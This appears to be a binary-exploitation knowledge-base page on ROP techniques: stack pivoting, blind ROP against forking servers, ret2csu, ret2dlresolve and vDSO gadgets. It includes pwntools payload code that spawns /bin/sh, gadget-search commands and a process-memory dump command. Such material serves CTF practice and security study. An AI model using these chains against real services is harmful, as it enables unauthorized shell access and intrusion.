| title | ROP Techniques | |||||||
|---|---|---|---|---|---|---|---|---|
| type | technique | |||||||
| tags |
|
|||||||
| phase | exploitation | |||||||
| date_created | 2026-07-14 | |||||||
| date_updated | 2026-07-14 | |||||||
| sources |
|
Consolidated return-oriented programming toolkit: pivoting into a staged chain, attacking a blind remote service, and controlling arguments or resolving symbols when gadgets/leaks are scarce. Base technique and protections: [[binary-exploitation]].
Use when the overflow is too short for a full chain, or you can only corrupt saved RBP: move
RSP into a large writable region (.bss, heap, RW map) where a full ROP chain was staged.
EBP2Ret (control RBP, not RIP directly): a leave; ret (= mov rsp,rbp ; pop rbp ; ret) sets
RSP from your fake RBP, so the next ret executes from attacker memory. Stage a chain, put its
address minus 8 in the saved RBP slot, return into leave;ret.
LEAVE_RET = 0x40117c
payload = flat(POP_RDI, 0xdead, POP_RSI_R15, 0xc0de, 0, elf.sym["winner"])
payload = payload.ljust(96, b"A") # reach saved RBP
payload += flat(buffer, LEAVE_RET) # fake RBP = leaked buffer, then pivotOff-by-one variant: if you only control the low byte of saved RBP, pair it with a RET-sled so the pivoted RSP lands inside the sled and slides into the chain.
Other RSP controls, find with a gadget finder:
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"Classic staging: small overflow -> read/recv a big chain into .bss -> pivot -> chain
(mprotect + shellcode, or leak + ret2libc). amd64: keep 16-byte alignment before call
sites or movaps in system crashes; add a bare ret gadget. On ARM64 the epilogue restores
x30 from the stack not SP, so pivoting means controlling SP then abusing ldp x29,x30,[sp].
Attack a remote service with NO binary and NO leak, given only (1) a stack overflow you can trigger and (2) a server that forks/restarts after a crash (same canary + same addresses per fork). Bittau et al. Steps:
- Find the overflow offset: send N+1 bytes until it crashes.
- Brute-force the canary byte by byte (fork keeps it constant): correct byte = no crash.
- Brute-force saved RBP then RIP the same way to leak stack values.
- Find a STOP gadget (something that keeps the connection alive so you can tell a chain ran).
- Find the BROP/ret2csu gadget by its signature: it pops 6 registers. Landing mid-
__libc_csu_inityieldspop rsi; pop r15; ret(BROP+0x7) andpop rdi; ret(BROP+0x9), controlling 2 args. Probe:A*off + canary + rbp + ADDR + 0xdead*6 + STOP; if STOP runs, ADDR popped 6. - Find the PLT: entries are 16 bytes apart and
entry+6also does not crash; scan from 0x400000. - Find
strcmp(sets rdx=len, needed >0 for write) by its read/no-read crash matrix. - Find
write/puts/dprintfby behaviour, dump the binary over the socket, then build a normal exploit. Automated:Bropper(github.com/Hakumarachi/Bropper).
When you lack a clean pop rdx/pop rsi gadget, __libc_csu_init (non-PIE, pre-2.34) gives
two chained gadgets that set rdx/rsi/rdi and make an indirect call. Gadget 1 pops the setup
registers; gadget 2 moves them into the arg registers and calls [r12+rbx*8].
# gadget 1
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# gadget 2
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]
To use the call: set r15=arg3(rdx), r14=arg2(rsi), r13=arg1(edi), and put a pointer-to-function
at [r12+rbx*8] (rbx=0, r12=&ptr). To bypass the call and just reach the trailing ret
(reuse the register setup only), satisfy rbp==rbx+1 so the jnz is not taken, and mind the
omitted pops.
POP_CHAIN = 0x401224 # pop r12..r15 ; ret
REG_CALL = 0x401208 # movs + call [r15+rbx*8]
rop = flat(POP_CHAIN, 0, 0, 0xdeadbeef, RW_LOC, REG_CALL) # r14->rdx, r15=&funcFeeds directly into BROP (the same 6-pop signature) and into ret2dlresolve for 3-arg calls.
For No/Partial RELRO binaries with no libc leak and no syscall gadget: forge the relocation
structures the dynamic linker uses, then jump to the PLT0 stub / _dl_runtime_resolve so ld.so
resolves and calls an arbitrary symbol (e.g. system("/bin/sh")). Fake an Elf_Rela +
Elf_Sym + the string system\0 in a writable area (staged via an initial read), then call
resolve with the reloc index.
pwntools does the layout and reloc-index math:
elf = context.binary = ELF("./vuln", checksec=False)
rop = ROP(elf)
dl = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.raw(b"A" * 76)
rop.read(0, dl.data_addr) # stage the fake structs into writable mem
rop.ret2dlresolve(dl) # call .plt[0] with the calculated reloc_offset
io.sendline(rop.chain())
io.sendline(dl.payload) # deliver the fake Elf_Rela/Elf_Sym/"/bin/sh"
io.interactive()Best when ret2syscall/SROP are unavailable and libc is unknown. Full RELRO kills it (symbols pre-resolved, GOT read-only).
The vDSO is a small ELF the kernel maps into every process to serve fast syscalls (gettimeofday, clock_gettime, the 32-bit __kernel_vsyscall/__kernel_rt_sigreturn). It is executable and contains real gadgets, so it is useful when the main binary and libc are gadget-poor, and it is the classic source of an int 0x80 / syscall / sigreturn gadget on locked-down 32-bit targets.
Why it matters for ASLR: the vDSO base is delivered in the auxiliary vector as AT_SYSINFO_EHDR, so getauxval(AT_SYSINFO_EHDR) (or reading /proc/<pid>/auxv) recovers the base without a memory leak. On kernels built with CONFIG_COMPAT_VDSO the vDSO is not randomized at all, giving a fixed ROP island.
# locate the mapping in a live/emulated process
cat /proc/<pid>/maps # look for the [vdso] line
# dump it straight out of process memory
dd if=/proc/<pid>/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
# treat it as a normal DSO: resolve exports and hunt gadgets
readelf -Ws vdso
ROPgadget --binary vdso | grep -E 'int 0x80|syscall'
ropper --file vdso --search 'pop edx'Typical use is chaining a pop edx; pop ecx; ret plus a mov [edx], ecx write gadget from the vDSO to stage "/bin/sh" and arguments, then jumping to the vDSO int 0x80 gadget for execve. On ARM64 the vDSO rarely yields register-control gadgets, but it does provide a path to __kernel_rt_sigreturn, which makes it a launchpad for [[binary-exploitation]] SROP (sigreturn-oriented programming) when no other sigreturn gadget exists.
Cross-refs: [[binary-exploitation]] (SROP, auxv/ELF tricks), fold alongside [[rop-techniques]] BROP/ret2csu when the binary itself is gadget-starved.
- [[binary-exploitation]] - overflow, protections, ret2libc/SROP/ret2syscall skeletons
- [[format-string]] - leak primitives that unblock a chain
- [[arm64-exploitation]] - ROP on AArch64 (x30/PAC differences)